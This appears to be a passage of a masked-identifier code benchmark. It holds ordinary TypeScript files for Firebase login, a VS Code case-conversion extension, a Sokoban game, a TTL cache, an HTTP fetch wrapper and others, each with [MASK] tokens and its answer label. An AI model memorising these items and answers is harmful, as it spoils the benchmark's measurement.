            errorCode = ErrorCode.badEmailFormat;
            break;
          case 'auth/network-request-failed':
            errorCode = ErrorCode.serverError;
            break;
          case 'auth/weak-password':
            errorCode = ErrorCode.invalidPassword;
            break;
          default:
            errorCode = ErrorCode.serverError;
        }

        console.error(errorCode);

        resolve({isSuccessfull: false, error: errorCode} as AppResponse);
      });
  });
};

const handleSuccessfulLogin = (user: UserAccount) => {
  const onlineUser = {...user, isOnline: true} as UserAccount;

  // After a successful login, we fetch & store the device token for push notifications, location, online status, etc.
  // we don't wait for fetching & updating the location or push token, for performance reasons (especially on Android)
  userDbTable.updateUser(onlineUser);

  return new Promise(resolve => {
    resolve({isSuccessfull: true, result: onlineUser} as AppResponse);
  });
};

const createAccountWithEmailAndPassword = (loginUser: LoginUser) => {
  return new Promise(function (resolve, _reject) {
    registerWithEmail(loginUser)
      .then(async response => {
        if (response.isSuccessfull) {
          // We signed up successfully, so we are logging the user in (as well as updating push token, persisting credential,s etc.)
          handleSuccessfulLogin(response.result as UserAccount).then(
            response => {
              resolve(response as AppResponse);
            },
          );
        } else {
          resolve(response as AppResponse);
        }
      })
      .catch(error => {
        console.error(error);
        resolve({isSuccessfull: false, error: error.message} as AppResponse);
      });
  });
};

const loginWithEmailAndPassword = (user: LoginUser) => {
  return new Promise(function (resolve, _reject) {
    auth()
      .signInWithEmailAndPassword(user.email, user.password)
      .then(response => {
        const uid = response.user.uid;

        userDbTable
          .getUserByID(uid)
          .then(function (firestoreUser) {
            if (firestoreUser) {
              handleSuccessfulLogin(firestoreUser).then(response => {
                resolve(response as AppResponse);
              });
            } else {
              resolve({
                isSuccessfull: false,
                error: ErrorCode.noUser,
              } as AppResponse);
            }
          })
          .catch(function (error) {
            console.error('_error', error);
            resolve({
              isSuccessfull: false,
              error: ErrorCode.serverError,
            } as AppResponse);
          });
      })
      .catch(error => {
        var errorCode = ErrorCode.serverError;

        switch (error.code) {
          case 'auth/wrong-password':
            errorCode = ErrorCode.invalidPassword;
            break;
          case 'auth/network-request-failed':
            errorCode = ErrorCode.serverError;
            break;
          case 'auth/user-not-found':
            errorCode = ErrorCode.noUser;
            break;
          default:
            errorCode = ErrorCode.serverError;
        }

        console.error(errorCode);

        resolve({isSuccessfull: false, error: errorCode} as AppResponse);
      });
  });
};

const logout = async (userId: string) => {
  const userData = {
    id: userId,
    isOnline: false,
  } as UserAccount;

  await userDbTable.updateUser(userData);
  await auth().signOut();

  try {
    await GoogleSignin?.signOut();
  } catch (error) {
    // do nothing. Maybe not a google loggin.
  }
};

const retrievePersistedAuthUser = (listener: any): (() => void) => {
  return auth().onAuthStateChanged(listener);
};

const signInWithCredential = (credential: any, socialAuthType: string) => {
  return new Promise(function (resolve, _reject) {
    auth()
      .signInWithCredential(credential)
      .then(async response => {
        const isNewUser = response.additionalUserInfo.isNewUser;
        const {uid, email, photoURL} = response.user;

        const timestamp = timeService.getCurrentDateString();
        const userData = {
          id: uid,
          email: email || '',
          profilePictureURL: photoURL || defaultProfilePhotoURL,
          createdAt: timestamp,
          language: 'en',
        } as UserAccount;

        if (isNewUser) {
          // do not await here.
          userDbTable.addNewUser(userData);

          handleSuccessfulLogin(userData).then(response => {
            resolve(response as AppResponse);
          });
        } else {
          userDbTable
            .getUserByID(uid)
            .then(function (firestoreUser) {
              if (firestoreUser) {
                handleSuccessfulLogin(firestoreUser).then(response => {
                  resolve(response as AppResponse);
                });
              } else {
                console.error(ErrorCode.noUser);

                resolve({
                  isSuccessfull: false,
                  error: ErrorCode.noUser,
                } as AppResponse);
              }
            })
            .catch(function (_error) {
              console.error('_error:', _error);
              resolve({
                isSuccessfull: false,
                error: ErrorCode.serverError,
              } as AppResponse);
            });
        }
      })
      .catch(_error => {
        console.error(_error);
        resolve({error: ErrorCode.serverError});
      });
  });
};

const loginOrSignUpWithGoogle = () => {
  GoogleSignin.configure({
    webClientId:
      '760131348689-079l9fn5jkb5nhd9a554i4ed1ltcrfq6.apps.googleusercontent.com',
  });

  return new Promise(async function (resolve, _reject) {
    try {
      const {idToken} = await GoogleSignin.signIn();
      const credential = auth.GoogleAuthProvider.credential(idToken);

      signInWithCredential(credential, 'Google').then(async response => {
        if (response.isSuccessfull) {
          handleSuccessfulLogin(response.result as UserAccount).then(
            response => {
              resolve(response as AppResponse);
            },
          );
        } else {
          console.error(response);
          console.error(ErrorCode.googleSigninFailed);

          resolve({
            isSuccessfull: false,
            error: ErrorCode.googleSigninFailed,
          } as AppResponse);
        }
      });
    } catch (error) {
      console.error(error);
      console.error(ErrorCode.googleSigninFailed);

      resolve({
        isSuccessfull: false,
        error: ErrorCode.googleSigninFailed,
      } as AppResponse);
    }
  });
};

const signInAnonymously = () => {
  return new Promise(async function (resolve, _reject) {
    try {
      auth()
        .signInAnonymously()
        .then(response => {
          const isNewUser = response.additionalUserInfo.isNewUser;
          const {uid, email} = response.user;
          const timestamp = timeService.getCurrentDateString();
          const userData = {
            id: uid,
            email: email || '',
            createdAt: timestamp,
          } as UserAccount;

          if (isNewUser) {
            // do not await here.
            userDbTable.addNewUser(userData);

            handleSuccessfulLogin(userData).then(response => {
              resolve(response as AppResponse);
            });
          } else {
            userDbTable.getUserByID(uid).then(function (firestoreUser) {
              if (firestoreUser) {
                handleSuccessfulLogin(firestoreUser).then(response => {
                  resolve(response as AppResponse);
                });
              } else {
                console.error(ErrorCode.noUser);

                resolve({
                  isSuccessfull: false,
                  error: ErrorCode.noUser,
                } as AppResponse);
              }
            });
          }
        })
        .catch(error => {
          console.error(error);

          resolve({
            isSuccessfull: false,
            error: ErrorCode.anonymousSigninFailed,
          } as AppResponse);
        });
    } catch (error) {
      console.error(ErrorCode.anonymousSigninFailed);

      resolve({
        isSuccessfull: false,
        error: ErrorCode.anonymousSigninFailed,
      } as AppResponse);
    }
  });
};

export interface IAuthManager {
  createAccountWithEmailAndPassword: (user: LoginUser) => Promise<AppResponse>;
  loginWithEmailAndPassword: (user: LoginUser) => Promise<AppResponse>;
  logout: (userId: string) => void;
  retrievePersistedAuthUser: (listener: any) => () => void;
  loginOrSignUpWithGoogle: () => Promise<AppResponse>;
  signInAnonymously: () => Promise<AppResponse>;
}

export const authManager: IAuthManager = {
  createAccountWithEmailAndPassword,
  loginWithEmailAndPassword,
  logout,
  retrievePersistedAuthUser,
  loginOrSignUpWithGoogle,
  signInAnonymously,
};
",newUser
849,"
import {OrderType, OrderProcessPriority, UnitRole, UnitType} from ""../constants"";
import {Order} from ""./Order"";

export class Commander {

    que:Array<any>;
    workForce:any;
    creepResources:any;
    spawner:any;

    constructor() {
       this.que = [];
    }

    initialize ( [MASK] :any) {
        this.workForce =  [MASK] .workForce;
        this.creepResources =  [MASK] .creepResources;
        this.spawner =  [MASK] .spawner;
    }

    compute() {

        // base directive..
        if (this.workForce.unitCountTotal() <= 1 && this.workForce.unitCountOfType(UnitType.DRONE) < 1) {
            for(var i = 0; i < 5; i++) {
                this.que.push(new Order(OrderType.BUILD_DRONE, OrderProcessPriority.ASAP))
                this.que.push(new Order(OrderType.EVOLVE_BOOTSTRAPPER, OrderProcessPriority.ASAP))
            }

        }

    }

    process () {

        // TODO: sort by priority.

        this.que.forEach(order => {
            if(/BUILD_/.test(order.type)) {
                this.spawner.processOrder(order.type)
            }
            if(/EVOLVE_/.test(order.type)) {
                this.creepResources.processOrder(order.type)
            }
        })
    }
}
",app
850,"import * as vscode from 'vscode';

function toCamelCase(str: string): string {
    return str
        .replace(/[-_\s.]+(.)?/g, (_, c) => c ? c.toUpperCase() : '')
        .replace(/^(.)/, (m) => m.toLowerCase());
}

function toSnakeCase(str: string): string {
    return str
        .replace(/([a-z])([A-Z])/g, '$1_$2')
        .replace(/[-\s.]+/g, '_')
        .toLowerCase();
}

function toKebabCase(str: string): string {
    return str
        .replace(/([a-z])([A-Z])/g, '$1-$2')
        .replace(/[_\s.]+/g, '-')
        .toLowerCase();
}

function toPascalCase(str: string): string {
    return str
        .replace(/[-_\s.]+(.)?/g, (_, c) => c ? c.toUpperCase() : '')
        .replace(/^(.)/, (m) => m.toUpperCase());
}

function toScreamingSnakeCase(str: string): string {
    return toSnakeCase(str).toUpperCase();
}

function toCapitalizedSnakeCase(str: string): string {
    return toSnakeCase(str)
        .split('_')
        .map(s => s.charAt(0).toUpperCase() + s.slice(1))
        .join('_');
}

function toLowerCase(str: string): string {
    return str.toLowerCase();
}

function toUpperCase(str: string): string {
    return str.toUpperCase();
}

function toSpaceSeparated(str: string): string {
    return str
        .replace(/([a-z])([A-Z])/g, '$1 $2')
        .replace(/[-_\.]+/g, ' ')
        .toLowerCase();
}

function toDotCase(str: string): string {
    return str
        .replace(/([a-z])([A-Z])/g, '$1.$2')
        .replace(/[-_\s]+/g, '.')
        .toLowerCase();
}

export function registerStringToolsCommands(context: vscode.ExtensionContext) {
    const  [MASK]  = [
        { command: 'common-tools.string.lower-case', fn: toLowerCase, title: 'String: lower case' },
        { command: 'common-tools.string.upper-case', fn: toUpperCase, title: 'String: UPPER CASE' },
        { command: 'common-tools.string.camel-case', fn: toCamelCase, title: 'String: camelCase' },
        { command: 'common-tools.string.snake-case', fn: toSnakeCase, title: 'String: snake_case' },
        { command: 'common-tools.string.screaming-snake-case', fn: toScreamingSnakeCase, title: 'String: SCREAMING_SNAKE_CASE' },
        { command: 'common-tools.string.kebab-case', fn: toKebabCase, title: 'String: kebab-case' },
        { command: 'common-tools.string.pascal-case', fn: toPascalCase, title: 'String: PascalCase' },
        { command: 'common-tools.string.capitalized-snake-case', fn: toCapitalizedSnakeCase, title: 'String: Capitalized_Snake_Case' },
        { command: 'common-tools.string.space-separated', fn: toSpaceSeparated, title: 'String: space separated' },
        { command: 'common-tools.string.dot-case', fn: toDotCase, title: 'String: dot.case' },
    ];
    for (const c of  [MASK] ) {
        context.subscriptions.push(
            vscode.commands.registerCommand(c.command, async () => {
                const editor = vscode.window.activeTextEditor;
                if (!editor) { return; }
                const text = editor.document.getText(editor.selection) || editor.document.getText();
                const result = c.fn(text.trim());
                await editor.edit(editBuilder => {
                    if (editor.selection.isEmpty) {
                        const fullRange = new vscode.Range(
                            editor.document.positionAt(0),
                            editor.document.positionAt(editor.document.getText().length)
                        );
                        editBuilder.replace(fullRange, result);
                    } else {
                        editBuilder.replace(editor.selection, result);
                    }
                });
                vscode.window.showInformationMessage('转换成功');
            })
        );
    }
}
",cases
851,"type StealerOptions = {
  ttl: number;
  unref: boolean;
}

const defaultOptions: StealerOptions = {
  ttl: 3600,
  unref: false,
};

export class Stealer<K,V> {
  readonly keyValues = new Map<K, {marked: boolean, value: V}>();
  readonly options: StealerOptions;
  private readonly stealerInterval: NodeJS.Timer;
  
  constructor(options: Partial<StealerOptions> = {}) {
    this.options = {...defaultOptions, ...options }
    this.stealerInterval = setInterval(() => {
      this.steal();
    }, this.options.ttl * 1000);
    if(this.options.unref && typeof this.stealerInterval.unref == ""function"")
      this.stealerInterval.unref();
  }
  
  destroy(): void {
    this.stealerInterval.unref
    clearInterval(this.stealerInterval);
  }
  
  set(key: K, value: V): void {
    this.keyValues.set(key, { marked: false, value });
  }
  
  get(key: K): V | undefined {
    const  [MASK]  = this.keyValues.get(key);
    if(typeof  [MASK]  == ""undefined"") return undefined;
     [MASK] .marked = false;
    return  [MASK] .value;
  }
  
  has(key: K): boolean {
    return this.keyValues.has(key);
  }
  
  delete(key: K) {
    this.keyValues.delete(key);
  }
  
  private steal(): void {
    for(const [k, v] of this.keyValues.entries()) {
      this.stealOrMark(v, k);
    }
  }

  private stealOrMark(v: { marked: boolean; value: V; }, k: K) {
    if (v.marked)
      this.keyValues.delete(k);
    else
      v.marked = true
  }
}",wrapper
852,"import {_decorator, Component, Node, Prefab, instantiate, Sprite, resources, SpriteFrame, Layout, Vec2} from 'cc';

const {ccclass, property} = _decorator;

@ccclass('GameUI')
export class GameUI extends Component {
    @property(Prefab)
    spritePrefab: Prefab;
    //双斜杆，单行注释
    /*扩展   todo mapStr直接写在代码里，大家可以通过文件加载的方式加载，比如放在txt*/
    /**
     * 0-空白地面
     * 1-代表墙
     * 2-目标点
     * 3-人物
     * 4-代表箱子
     * 5-代表箱子在目标点
     * 6-人物在目标点的状态
     */
    mapStr: string = ""00111000\n"" +
        ""00121000\n"" +
        ""00101111\n"" +
        ""11140421\n"" +
        ""12043111\n"" +
        ""11114100\n"" +
        ""00012100\n"" +
        ""00011100"";

    /**
     * 人物的坐标
     */
    player: Vec2;

    spriteNodeArray: Node[][] = [];

    valArray: number[][] = [];

    /**
     * todo 扩展，调整预制资源的大小，地图的大小，地图的位置    这些都交给你们自己去实现。
     */
    start() {

    }

    update(deltaTime: number) {

    }

    /**
     * 0-空白地面
     * 1-代表墙
     * 2-目标点
     * 3-人物
     * 4-代表箱子
     * 5-代表箱子在目标点
     * 6-人物在目标点的状态
     */
    leftBtn() {
        let leftVal = this.valArray[this.player.x][this.player.y - 1];
        //如果左边是墙的话，不能过来
        if (leftVal == 1) {
            return;
        }
        //如果左边是箱子，
        if (leftVal == 4 || leftVal == 5) {
            let leftLeftVal = this.valArray[this.player.x][this.player.y - 2];
            if (leftLeftVal == 1 || leftLeftVal == 4 || leftLeftVal == 5) {
                return;
            }
            let leftLeftSpriteNode = this.spriteNodeArray[this.player.x][this.player.y - 2];
            if (leftLeftVal == 2) {
                this.valArray[this.player.x][this.player.y - 2] = 5;
            } else {
                this.valArray[this.player.x][this.player.y - 2] = 4;
            }
            if (leftVal == 4) {
                this.valArray[this.player.x][this.player.y - 1] = 0;
            }
            if (leftVal == 5) {
                this.valArray[this.player.x][this.player.y - 1] = 2;
            }
            resources.load(`${this.valArray[this.player.x][this.player.y - 2]}/spriteFrame`, SpriteFrame, (err, spriteFrame) => {
                leftLeftSpriteNode.getComponent(Sprite).spriteFrame = spriteFrame;
            });
        }
        leftVal = this.valArray[this.player.x][this.player.y - 1];
        let leftSpriteNode = this.spriteNodeArray[this.player.x][this.player.y - 1];
        if (leftVal == 2) {
            this.valArray[this.player.x][this.player.y - 1] = 6;
        } else {
            this.valArray[this.player.x][this.player.y - 1] = 3;
        }
        resources.load(`${this.valArray[this.player.x][this.player.y - 1]}/spriteFrame`, SpriteFrame, (err, spriteFrame) => {
            leftSpriteNode.getComponent(Sprite).spriteFrame = spriteFrame;
        });
        let playerVal = this.valArray[this.player.x][this.player.y];
        let playerSpriteNode = this.spriteNodeArray[this.player.x][this.player.y];
        if (playerVal == 3) {
            this.valArray[this.player.x][this.player.y] = 0;
        } else if (playerVal == 6) {
            this.valArray[this.player.x][this.player.y] = 2;

        }
        resources.load(`${this.valArray[this.player.x][this.player.y]}/spriteFrame`, SpriteFrame, (err, spriteFrame) => {
            playerSpriteNode.getComponent(Sprite).spriteFrame = spriteFrame;
        });
        this.player.y = this.player.y - 1;
        this.passCheck();
    }

    rightBtn() {
        let leftVal = this.valArray[this.player.x][this.player.y + 1];
        //如果左边是墙的话，不能过来
        if (leftVal == 1) {
            return;
        }
        //如果左边是箱子，
        if (leftVal == 4 || leftVal == 5) {
            let leftLeftVal = this.valArray[this.player.x][this.player.y + 2];
            if (leftLeftVal == 1 || leftLeftVal == 4 || leftLeftVal == 5) {
                return;
            }
            let leftLeftSpriteNode = this.spriteNodeArray[this.player.x][this.player.y + 2];
            if (leftLeftVal == 2) {
                this.valArray[this.player.x][this.player.y + 2] = 5;
            } else {
                this.valArray[this.player.x][this.player.y + 2] = 4;
            }
            if (leftVal == 4) {
                this.valArray[this.player.x][this.player.y + 1] = 0;
            }
            if (leftVal == 5) {
                this.valArray[this.player.x][this.player.y + 1] = 2;
            }
            resources.load(`${this.valArray[this.player.x][this.player.y + 2]}/spriteFrame`, SpriteFrame, (err, spriteFrame) => {
                leftLeftSpriteNode.getComponent(Sprite).spriteFrame = spriteFrame;
            });
        }
        leftVal = this.valArray[this.player.x][this.player.y + 1];
        let leftSpriteNode = this.spriteNodeArray[this.player.x][this.player.y + 1];
        if (leftVal == 2) {
            this.valArray[this.player.x][this.player.y + 1] = 6;
        } else {
            this.valArray[this.player.x][this.player.y + 1] = 3;
        }
        resources.load(`${this.valArray[this.player.x][this.player.y + 1]}/spriteFrame`, SpriteFrame, (err, spriteFrame) => {
            leftSpriteNode.getComponent(Sprite).spriteFrame = spriteFrame;
        });
        let playerVal = this.valArray[this.player.x][this.player.y];
        let playerSpriteNode = this.spriteNodeArray[this.player.x][this.player.y];
        if (playerVal == 3) {
            this.valArray[this.player.x][this.player.y] = 0;
        } else if (playerVal == 6) {
            this.valArray[this.player.x][this.player.y] = 2;

        }
        resources.load(`${this.valArray[this.player.x][this.player.y]}/spriteFrame`, SpriteFrame, (err, spriteFrame) => {
            playerSpriteNode.getComponent(Sprite).spriteFrame = spriteFrame;
        });
        this.player.y = this.player.y + 1;
        this.passCheck();
    }

    upBtn() {
        let leftVal = this.valArray[this.player.x - 1][this.player.y];
        //如果左边是墙的话，不能过来
        if (leftVal == 1) {
            return;
        }
        //如果左边是箱子，
        if (leftVal == 4 || leftVal == 5) {
            let leftLeftVal = this.valArray[this.player.x - 2][this.player.y];
            if (leftLeftVal == 1 || leftLeftVal == 4 || leftLeftVal == 5) {
                return;
            }
            let leftLeftSpriteNode = this.spriteNodeArray[this.player.x - 2][this.player.y];
            if (leftLeftVal == 2) {
                this.valArray[this.player.x - 2][this.player.y] = 5;
            } else {
                this.valArray[this.player.x - 2][this.player.y] = 4;
            }
            if (leftVal == 4) {
                this.valArray[this.player.x - 1][this.player.y] = 0;
            }
            if (leftVal == 5) {
                this.valArray[this.player.x - 1][this.player.y] = 2;
            }
            resources.load(`${this.valArray[this.player.x - 2][this.player.y]}/spriteFrame`, SpriteFrame, (err, spriteFrame) => {
                leftLeftSpriteNode.getComponent(Sprite).spriteFrame = spriteFrame;
            });
        }
        leftVal = this.valArray[this.player.x - 1][this.player.y];
        let leftSpriteNode = this.spriteNodeArray[this.player.x - 1][this.player.y];
        if (leftVal == 2) {
            this.valArray[this.player.x - 1][this.player.y] = 6;
        } else {
            this.valArray[this.player.x - 1][this.player.y] = 3;
        }
        resources.load(`${this.valArray[this.player.x - 1][this.player.y]}/spriteFrame`, SpriteFrame, (err, spriteFrame) => {
            leftSpriteNode.getComponent(Sprite).spriteFrame = spriteFrame;
        });
        let playerVal = this.valArray[this.player.x][this.player.y];
        let playerSpriteNode = this.spriteNodeArray[this.player.x][this.player.y];
        if (playerVal == 3) {
            this.valArray[this.player.x][this.player.y] = 0;
        } else if (playerVal == 6) {
            this.valArray[this.player.x][this.player.y] = 2;

        }
        resources.load(`${this.valArray[this.player.x][this.player.y]}/spriteFrame`, SpriteFrame, (err, spriteFrame) => {
            playerSpriteNode.getComponent(Sprite).spriteFrame = spriteFrame;
        });
        this.player.x = this.player.x - 1;
        this.passCheck();
    }

    downBtn() {
        let leftVal = this.valArray[this.player.x + 1][this.player.y];
        //如果左边是墙的话，不能过来
        if (leftVal == 1) {
            return;
        }
        //如果左边是箱子，
        if (leftVal == 4 || leftVal == 5) {
            let leftLeftVal = this.valArray[this.player.x + 2][this.player.y];
            if (leftLeftVal == 1 || leftLeftVal == 4 || leftLeftVal == 5) {
                return;
            }
            let leftLeftSpriteNode = this.spriteNodeArray[this.player.x + 2][this.player.y];
            if (leftLeftVal == 2) {
                this.valArray[this.player.x + 2][this.player.y] = 5;
            } else {
                this.valArray[this.player.x + 2][this.player.y] = 4;
            }
            if (leftVal == 4) {
                this.valArray[this.player.x + 1][this.player.y] = 0;
            }
            if (leftVal == 5) {
                this.valArray[this.player.x + 1][this.player.y] = 2;
            }
            resources.load(`${this.valArray[this.player.x + 2][this.player.y]}/spriteFrame`, SpriteFrame, (err, spriteFrame) => {
                leftLeftSpriteNode.getComponent(Sprite).spriteFrame = spriteFrame;
            });
        }
        leftVal = this.valArray[this.player.x + 1][this.player.y];
        let leftSpriteNode = this.spriteNodeArray[this.player.x + 1][this.player.y];
        if (leftVal == 2) {
            this.valArray[this.player.x + 1][this.player.y] = 6;
        } else {
            this.valArray[this.player.x + 1][this.player.y] = 3;
        }
        resources.load(`${this.valArray[this.player.x + 1][this.player.y]}/spriteFrame`, SpriteFrame, (err, spriteFrame) => {
            leftSpriteNode.getComponent(Sprite).spriteFrame = spriteFrame;
        });
        let playerVal = this.valArray[this.player.x][this.player.y];
        let playerSpriteNode = this.spriteNodeArray[this.player.x][this.player.y];
        if (playerVal == 3) {
            this.valArray[this.player.x][this.player.y] = 0;
        } else if (playerVal == 6) {
            this.valArray[this.player.x][this.player.y] = 2;

        }
        resources.load(`${this.valArray[this.player.x][this.player.y]}/spriteFrame`, SpriteFrame, (err, spriteFrame) => {
            playerSpriteNode.getComponent(Sprite).spriteFrame = spriteFrame;
        });
        this.player.x = this.player.x + 1;
        this.passCheck();
    }

    /**
     * 通关检测
     */
    passCheck() {
        let isPass = true;
        for (let i = 0; i < this.valArray.length; i++) {
            let line = this.valArray[i];
            for (let j = 0; j < line.length; j++) {
                let val = this.valArray[i][j];
                if (val == 2 || val == 6) {
                    isPass = false;
                }
            }
        }
        if (isPass) {
            this.node.getChildByName('PassSprite').active = true;
        }
    }


    startBtn() {
        let  [MASK]  = this.node.getChildByName('MapLayout');

        let mapArr = this.mapStr.split(""\n"");
         [MASK] .getComponent(Layout).constraintNum = mapArr.length;

        for (let i = 0; i < mapArr.length; i++) {
            let line = mapArr[i];
            this.spriteNodeArray[i] = [];
            this.valArray[i] = [];
            for (let j = 0; j < line.length; j++) {
                let val = line.charAt(j);
                let spriteNode = instantiate(this.spritePrefab);
                resources.load(`${val}/spriteFrame`, SpriteFrame, (err, spriteFrame) => {
                    spriteNode.getComponent(Sprite).spriteFrame = spriteFrame;
                });
                 [MASK] .addChild(spriteNode);
                if (Number(val) == 3) {
                    this.player = new Vec2();
                    this.player.x = i;
                    this.player.y = j;
                }
                this.spriteNodeArray[i][j] = spriteNode;
                this.valArray[i][j] = Number(val);
            }
        }

        this.node.getChildByName('StartButton').active = false;
    }
}


",mapLayoutNode
853,"/** Copyright 2018-present Mellisphera
Licensed under the Apache License, Version 2.0 (the ""License"");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an ""AS IS"" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License. */

import { Component, OnInit } from '@angular/core';
import { Location } from '@angular/common';
import { Router } from '@angular/router';
import { AtokenStorageService } from './auth/Service/atoken-storage.service';
import { TranslateService } from '@ngx-translate/core';
import { ngxLoadingAnimationTypes } from 'ngx-loading';
import { LoadingService } from './dashboard/service/loading.service';
import { AuthService } from './auth/Service/auth.service';

const PrimaryWhite = '#ffffff';
const SecondaryGrey = '#ccc';
const PrimaryRed = '#dd0031';
const SecondaryBlue = '#006ddd';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.scss']
})
export class AppComponent implements OnInit {

  public ngxLoadingAnimationTypes = ngxLoadingAnimationTypes;
  public primaryColour = PrimaryWhite;
  public secondaryColour = SecondaryGrey;
  public coloursEnabled = false;
  public config = { animationType: ngxLoadingAnimationTypes.none, primaryColour: this.primaryColour, secondaryColour: this.secondaryColour}


     constructor(public location: Location,
      public router: Router,
      public tokenService: AtokenStorageService,
      private authService: AuthService,
      private translateService: TranslateService,
      public loadingService: LoadingService) {
       translateService.addLangs(['en', 'fr', 'es', 'ro']);
       translateService.setDefaultLang('en');
       this.primaryColour = PrimaryRed;
       this.secondaryColour = SecondaryBlue;
       this.checkLogin();
     }

    ngOnInit(){
    }

    checkLogin() {
      this.authService.authState.subscribe(
        ( [MASK] : boolean) => {
          if (! [MASK] ) {
            if (this.location.path().indexOf('login?email=') === -1) {
              this.router.navigateByUrl('login');
            }
          } else {
            if (this.location.path() === '' || this.location.path().indexOf('login?email=') !== -1) {
              this.router.navigateByUrl('dashboard/home/info-apiary');
            }
          }
        }
      )
    }

    isMap(path){
      var titlee = this.location.prepareExternalUrl(this.location.path());
      titlee = titlee.slice( 1 );
      if(path == titlee){
        return false;
      }
      else {
        return true;
      }
    }
}
",_status
854,"import { EVENT_TYPES } from ""@/constants/EventTypes"";

const API_URL =
  ""https://iockuv71c8.execute-api.us-east-2.amazonaws.com/activity"";

interface Location {
  latitude: number;
  longitude: number;
  accuracy?: number;
}

export default class ActivityService {
  private static userId: number | null = null;

  static async setUserId(id: number) {
    this.userId = id;
  }

  static async sendLocationUpdate(
    location: Location,
    steps: number,
    distance: number
  ) {
    if (!this.userId) {
      throw new Error(""User ID not set. Call setUserId first."");
    }

    return this.sendRequest(EVENT_TYPES.LOCATION_UPDATE, {
      user_id: this.userId,
      type: EVENT_TYPES.LOCATION_UPDATE,
      location,
      steps,
      distance_km: distance,
    });
  }

  static async sendFallDetected(
    location: Location,
    fallIntensity: number,
     [MASK] : number
  ) {
    if (!this.userId) {
      throw new Error(""User ID not set. Call setUserId first."");
    }

    return this.sendRequest(EVENT_TYPES.FALL_DETECTED, {
      user_id: this.userId,
      type: EVENT_TYPES.FALL_DETECTED,
      location,
      fall_intensity: fallIntensity,
      inactive_duration_sec:  [MASK] ,
    });
  }

  static async sendEmergencyButtonPressed(location: Location) {
    if (!this.userId) {
      throw new Error(""User ID not set. Call setUserId first."");
    }

    return this.sendRequest(EVENT_TYPES.EMERGENCY_BUTTON_PRESSED, {
      user_id: this.userId,
      type: EVENT_TYPES.EMERGENCY_BUTTON_PRESSED,
      location,
    });
  }

  private static async sendRequest(type: string, payload: any) {
    try {
      // Send the payload directly without double stringification
      const requestBody = JSON.stringify(payload);

      console.log(""📤 Request body being sent:"", requestBody);

      const controller = new AbortController();
      const timeoutId = setTimeout(() => controller.abort(), 10000);

      const response = await fetch(API_URL, {
        method: ""POST"",
        headers: {
          ""Content-Type"": ""application/json"",
        },
        body: requestBody,
        signal: controller.signal,
      });

      clearTimeout(timeoutId);

      console.log(""📥 Response status:"", response.status);
      console.log(
        ""📥 Response headers:"",
        JSON.stringify(response.headers, null, 2)
      );

      if (!response.ok) {
        const errorData = await response.json();
        console.error(""❌ Error response:"", JSON.stringify(errorData, null, 2));
        throw new Error(
          errorData.error || `Error en el request: ${response.statusText}`
        );
      }

      const responseData = await response.json();
      console.log(""📥 API response:"", JSON.stringify(responseData, null, 2));

      return responseData;
    } catch (error) {
      console.error(`❌ Error sending ${type}:`, error);
      throw error;
    }
  }
}
",inactiveDurationSec
855,"import Qs from ""qs""
//const { objectToString } = require(""@vue/shared"");

let baseUrl = 'api',

    inital = {
        method: ""GET"",
        params: null,
        body: null,
        headers: {
            ""Content-Type"": ""application/json"",
        },
        credentials: true,
        responseType: ""JSON"",
        cache: ""no-cache""
    };

//校验是否是纯粹的对象
const isPlainObject = function isPlainObject(obj: any) {
    var proto, Ctor;
    if (!obj || typeof obj != ""object"") {
        return false;
    }
    proto = Object.getPrototypeOf(obj);
    if (!proto) {
        return true;
    }
    Ctor = proto.hasOwnProperty(""constructor"") && proto.constructor;
    return typeof Ctor == ""function"" && Ctor == Object;
}

const httprequest = function sendFetch(url: any, config: any, isUpLoadFile?: boolean) {
    (config == null || typeof config != ""object"") ? config = {} : null;
    if (config.headers && isPlainObject(config.headers)) {
        config.headers = Object.assign({}, inital.headers, config.headers);
    }
    let {
        method,
        params,
        body,
        headers,
        credentials,
        responseType,
        cache
    } = Object.assign({}, inital, config)

    if (typeof url != ""string"") throw new TypeError(`${url} is not a string!`);
    url = baseUrl + url;
    if (params != null) {
        if (isPlainObject(params)) {
            params = Qs.stringify(params);
        }
        url += `${url.includes('?') ? '$' : '?'}${params}`;
    }
    if (body != null) {
        if (isPlainObject(body)) {
            let contentType = headers[""Content-Type""] || ""application/json"";
            if (contentType.includes(""urlencoded"")) {
                body = Qs.stringify(body);
            }

            if (contentType.includes(""json"")) {
                body = JSON.stringify(body);
            }
        }
    }
    credentials = credentials ? 'include' : 'same-origin';
    //TODO: need to fix
    if (isUpLoadFile) {
        headers = {}
    }
    if (sessionStorage.getItem(""token"")) {
        headers[""token""] = sessionStorage.getItem(""token"");
    }
    // 基于fetch请求数据
    method = method.toUpperCase();
    responseType = responseType.toUpperCase();
    config = {
        method,
        credentials,
        cache,
        headers
    };

    /^(POST|PUT|PATCH|DELETE)$/i.test(method) ? config.body = body : null;
    return fetch(url, config).then(function onfulfilled(response) {
        // 走到这边不一定是成功的：
        // Fetch的特点的是，只要服务器有返回结果，不论状态码是多少，它都认为是成功
        let {
            status,
            statusText
        } = response;
        if (status >= 200 && status < 400) {
            // 真正成功获取数据
            let result;
            switch (responseType) {
                case 'TEXT':
                    result = response.text();
                    break;
                case 'JSON':
                    result = response.json();
                    break;
                case 'BLOB':
                    result = response.blob();
                    break;
                case 'ARRAYBUFFER':
                    result = response.arrayBuffer();
                    break;
            }
            return result;
        }
        // 应该是失败的处理
        return Promise.reject({
            code: 'STATUS ERROR',
            status,
            statusText
        });
    }).catch(function onrejected( [MASK] ) {
        // @1:状态码失败
        if ( [MASK]  &&  [MASK] .code === ""STATUS ERROR"") {
            switch ( [MASK] .status) {
                case 401:
                    break;
                // ...
            }
        }

        // @2:断网
        if (!navigator.onLine) {
            // ...
        }

        // @3:处理返回数据格式失败
        // ...

        return Promise.reject( [MASK] );
    });
}
export default httprequest;",reason
856,"/// <reference types=""cypress"" />
// ***********************************************
// This example commands.ts shows you how to
// create various custom commands and overwrite
// existing commands.
//
// For more comprehensive examples of custom
// commands please read more here:
// https://on.cypress.io/custom-commands
// ***********************************************

import { Routes } from '~enums/Routes'

Cypress.Commands.add('login', () => {
    const  [MASK]  = 'button[type=""submit""]'

    cy.visit(Routes.LOGIN)
    cy.get('input[name=""email""]').type('<EMAIL>')
